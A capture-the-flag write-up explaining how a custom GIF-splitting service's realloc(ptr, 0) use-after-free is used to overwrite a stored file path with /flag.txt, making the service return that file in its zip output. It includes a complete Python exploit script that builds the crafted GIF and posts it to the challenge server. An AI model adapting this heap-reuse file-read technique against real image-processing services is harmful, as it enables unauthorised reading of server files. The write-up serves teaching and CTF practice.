Pwn / File Read / Heap Corruption

CASCADA GIF Splitter Writeup

This challenge exposed a GIF processing service over HTTP. The goal was to retrieve the contents of /flag.txt. A custom GIF library contained a heap bug that could be turned into an arbitrary file read through the server's zip output.

Final flag
undut{!!!inspir3rad_av__CVE-2019-11932}

1. Challenge Setup

The provided leak contained two important parts:

  1. An Nginx module that accepted uploads at /gif.
  2. A custom shared library, chall.so, that parsed the uploaded GIF and split its frames.

The Dockerfile also showed that the target file was present at /flag.txt inside the container and readable by the process.

COPY src/flag.txt /flag.txt
RUN chmod 444 /flag.txt

That immediately suggested a useful target: if the parser bug could be converted into a file read primitive, /flag.txt was the obvious file to steal.

2. Initial Triage

The web frontend looked like a file upload form, but the JavaScript actually sent raw GIF bytes with Content-Type: application/octet-stream. That detail mattered.

const response = await fetch('/gif', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/octet-stream',
    },
    body: binaryData,
});

In the Nginx module, the request body was concatenated and passed directly into dump_frames(buf->pos, total_size). There was no multipart parsing, no file wrapper, and no server-side metadata prepended to the upload.

So the parser expected byte zero of the request body to be the GIF header itself.

3. Parser Analysis

Reversing chall.so showed a simple home-grown GIF parser. The high-level flow was:

  1. Create a temporary directory under /tmp/<uuid>/.
  2. Parse the GIF header and optional global color table.
  3. Iterate over extensions and image descriptors.
  4. Dump each frame as GIF_FRAME%d.gif.
  5. Zip all collected frame file names into out.zip.

The bundled seed file confirmed the intended format: a small GIF89a animated GIF with a global color table, a NETSCAPE2.0 application extension, and repeated Graphic Control Extension + Image Descriptor frame blocks.

Important parser limitation
The image parser only supported a single LZW data sub-block per frame. That meant the safest exploit input was a very small, parser-friendly animated GIF.

Relevant internal flow

The control flow inside the library was effectively:

dump_frames(buffer, size):
    dirname = create_dir()
    header = parse_gif_header(...)
    for frame_index in range(32):
        rc = parse_gif_extension_blocks(...)
        if rc == 1:
            break   // trailer reached
        if rc == 0:
            filename = dump_frame_to_file(...)
            FILENAMES[frame_index] = filename
        else:
            error
    return zip_files(dirname, frame_count)

The parser used a cursor structure over the original upload buffer. The header parser consumed the GIF signature, logical screen descriptor, and optional global color table. The extension parser then advanced until it reached either:

  • 0x2c, indicating an image descriptor and therefore a frame, or
  • 0x3b, indicating the trailer and the end of the GIF.

Every time the code found an image descriptor, it called dump_frame_to_file, which created a standalone output GIF consisting of:

  1. the original GIF header and global color table,
  2. the most recent graphics control extension if present,
  3. the current frame image descriptor and image data,
  4. a final 0x3b trailer byte.

4. The Bug

Fuzzing data bundled with the leak already contained a saved crash. Running the crash case locally showed:

free(): double free detected in tcache 2

The root cause was in the logic around parse_image_data. The function stored a pointer to the compressed image block and resized it with realloc(old_ptr, block_size).

What happens when block_size == 0

On glibc, realloc(ptr, 0) frees the chunk and returns NULL. The parser did not handle that state correctly. It freed the old chunk, but later logic still treated the stale pointer as if it were safe to reuse.

This created a stale-pointer / use-after-free condition. The visible symptom was a later double free, but the exploitable part was that the freed heap chunk could be reclaimed by another allocation before the stale pointer was used again.

Why this happens at the C level

The parser stored image data inside a frame-like structure. In simplified form, the logic was:

frame->image_data = realloc(frame->image_data, block_size);
if (!frame->image_data) {
    perror("realloc");
    return -1;
}
read_from_buffer(..., frame->image_data, block_size);

That is already unsafe if block_size can be zero. On glibc, realloc(ptr, 0) is allowed to behave like free(ptr) and return NULL. After that:

  1. the old chunk is gone from the allocator's point of view,
  2. the code treats the result as an allocation failure,
  3. other state still assumes the old buffer relationship is meaningful,
  4. the same size class can be immediately recycled by a later malloc.

This is the core exploit primitive: force a free through realloc(ptr, 0), then make the program allocate something security-sensitive into the same chunk, then drive a stale write into it.

5. Exploit Strategy

The key observation came from the frame dumping function:

filename = malloc(...);
strcpy(filename, "/tmp/.../GIF_FRAME%d.gif");
parse_image_data(...);
open(filename, O_WRONLY | ...);
FILENAMES[idx] = filename;

The filename buffer was allocated before the parser touched the next frame's image data. That made the exploitation path very clean:

  1. Allocate an image_data chunk of a chosen size in frame 1.
  2. Free that same chunk with realloc(ptr, 0) in frame 2.
  3. Let the program allocate filename for frame 3, reusing the freed heap chunk.
  4. Use the stale pointer during frame 3 parsing to overwrite the contents of that chunk.
  5. Replace the original file name with /flag.txt.

At that point, the frame output path no longer pointed to a temporary GIF file. It pointed to the flag file instead.

6. Payload Layout

The final GIF contained three frames and stayed well within the server's size limits.

Frame 1

A normal tiny frame with image block size 0x39. This allocated the heap chunk that would later be recycled.

Frame 2

Another valid frame, but with image block size 0. This triggered realloc(ptr, 0), freeing the chunk and leaving the parser in a stale-pointer state.

Frame 3

When the program allocated filename for this frame, the allocator reused the freed chunk. Then the stale pointer path wrote controlled bytes into that memory, replacing the original /tmp/.../GIF_FRAME2.gif string with /flag.txt.

The overwrite payload looked conceptually like this:

b"/flag.txt\x00" + b"B" * (0x39 - len("/flag.txt") - 1)

The trailing null byte was critical because it terminated the file path cleanly.

7. Heap Reuse Mechanics

The exploit only works if the freed image-data chunk and the later filename allocation land in the same allocator size class. The chosen block size, 0x39, was selected so that this happens reliably with glibc's small-chunk allocator behavior in the challenge environment.

The sequence is:

  1. Frame 1 allocates image_data with length 0x39.
  2. Frame 2 calls realloc(old_ptr, 0), which frees that chunk.
  3. Frame 3 allocates filename with malloc(strlen("/tmp/<uuid>/GIF_FRAME2.gif")+1).
  4. The allocator reuses the recently freed chunk for the new file-name string.
  5. The parser later performs the stale image-data write into the same memory region.

At that moment, the file-name buffer and the stale image-data buffer alias the same heap memory. Writing image bytes now rewrites the path string.

Before frame 2:
[ image_data chunk ] -> "AAAA...."

After realloc(ptr, 0):
[ freed chunk in tcache ]

After frame 3 filename malloc:
[ filename chunk ] -> "/tmp/.../GIF_FRAME2.gif"

After stale write:
[ filename chunk ] -> "/flag.txt\x00BBBB..."

This is not a generic heap spray. It is a precise chunk recycling attack using allocator locality. The exploit is deterministic because the program structure naturally produces the required allocation/free/allocation order.

8. Why This Produces a File Read

The frame-writing step itself tried to open the overwritten path using write flags. That failed for /flag.txt, which was fine. The important part happened later:

zip_source_file(zip, FILENAMES[i], 0, 0);
zip_file_add(zip, basename(FILENAMES[i]), source, ...);

The zip code used the stored path as a source file. If that path had been corrupted to /flag.txt, libzip simply read the real file and added it to the archive under the name flag.txt.

In other words, the service exfiltrated the flag for us in its own response.

Full Exploit Script

This is the full Python script used to retrieve the flag from the live service.

#!/usr/bin/env python3
import io
import struct
import sys
import urllib.request
import zipfile


URL = "https://undutmaning-cascada-gif-splitter.chals.io/gif"
TARGET_PATH = b"/flag.txt"
BLOCK_SIZE = 0x39


def frame(block_size: int, data: bytes, with_gce: bool = True) -> bytes:
    out = bytearray()
    if with_gce:
        out += bytes([0x21, 0xF9, 0x04, 0x08, 0x0A, 0x00, 0x00, 0x00])
    out += bytes([0x2C])
    out += struct.pack("<HHHHB", 0, 0, 1, 1, 0)
    out += bytes([0x08, block_size])
    out += data
    if block_size != 0:
        out += b"\\x00"
    return bytes(out)


def build_payload(target_path: bytes) -> bytes:
    if len(target_path) + 1 > BLOCK_SIZE:
        raise ValueError("target path is too long for the chosen chunk size")

    header = bytearray(b"GIF89a")
    header += struct.pack("<HHBBB", 1, 1, 0x81, 0, 0)
    header += bytes([0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF])
    header += bytes([0x21, 0xFF, 0x0B]) + b"NETSCAPE2.0" + bytes([0x03, 0x01, 0x00, 0x00, 0x00])

    first = frame(BLOCK_SIZE, b"A" * BLOCK_SIZE)
    second = frame(0, b"") + b"\\x00"
    overwrite = target_path + b"\\x00" + b"B" * (BLOCK_SIZE - len(target_path) - 1)
    third = frame(BLOCK_SIZE, overwrite)
    return bytes(header + first + second + third + b"\\x3B")


def post_gif(url: str, gif_data: bytes) -> bytes:
    req = urllib.request.Request(
        url,
        data=gif_data,
        headers={"Content-Type": "application/octet-stream"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=30) as resp:
        return resp.read()


def main() -> int:
    url = sys.argv[1] if len(sys.argv) > 1 else URL
    gif_data = build_payload(TARGET_PATH)
    zip_data = post_gif(url, gif_data)

    print(f"response bytes: {len(zip_data)}")
    zf = zipfile.ZipFile(io.BytesIO(zip_data))
    names = zf.namelist()
    print("entries:", names)
    for name in names:
        data = zf.read(name)
        print(f"\\n== {name} ==")
        try:
            print(data.decode())
        except UnicodeDecodeError:
            print(data)
    return 0


if __name__ == "__main__":
    raise SystemExit(main())

9. Script Breakdown

The script is intentionally small because the exploitation path is narrow and highly structured. Every part of it maps directly to a parser property discovered during reversing.

BLOCK_SIZE = 0x39

This size was chosen to make the frame 1 image-data chunk and the later frame 3 file-name allocation compatible in the allocator. Changing it can break the heap reuse and make the exploit unreliable.

frame()

This helper emits one parser-friendly frame:

  1. A valid graphics control extension.
  2. An image descriptor for a tiny 1x1 frame.
  3. LZW minimum code size 0x08.
  4. Exactly one GIF data sub-block.
  5. A trailing 0x00 block terminator when the block is non-empty.

The image parser in this challenge does not correctly implement full GIF sub-block parsing, so the exploit keeps the format as simple as possible.

build_payload()

This function builds the entire animated GIF:

  1. Create a valid GIF89a header.
  2. Add a tiny global color table.
  3. Add a NETSCAPE2.0 application extension to resemble a normal animated GIF.
  4. Append frame 1, which allocates the target heap chunk.
  5. Append frame 2, which frees the chunk through realloc(ptr, 0).
  6. Append frame 3, whose block data overwrites the future filename buffer with /flag.txt.

The extra b"\\x00" after frame 2 is there to keep the outer parser aligned after the zero-sized block. Without careful byte-level control here, the GIF walker falls out of sync.

post_gif()

This function sends the crafted GIF as a raw request body. That matches the front-end's actual behavior and the server's expectation.

Response handling

The service returns a zip archive. The script opens it in-memory and prints every entry. In the successful exploit run, those entries were:

['GIF_FRAME0.gif', 'flag.txt']

That is exactly what we want. The first frame is legitimate output. The second entry proves that one of the stored file paths was successfully redirected to the real flag file on disk.

10. Result

Running the exploit against the live service returned a zip archive with two entries:

entries: ['GIF_FRAME0.gif', 'flag.txt']

The second entry contained the real flag:

undut{!!!inspir3rad_av__CVE-2019-11932}

11. Step-by-Step Recap

  1. Inspect the leaked files and identify the web endpoint, the Nginx module, and the custom parser.
  2. Confirm that the upload is raw GIF data, not multipart form data.
  3. Reverse chall.so and understand the frame extraction flow.
  4. Use the bundled fuzzing crash to narrow the bug down to heap misuse around realloc(ptr, 0).
  5. Notice that frame file names are allocated before parsing the next image block.
  6. Free an image-data chunk in one frame and reclaim it as a filename chunk in the next.
  7. Overwrite the recycled file name with /flag.txt.
  8. Let the service zip that path and return the flag in the response archive.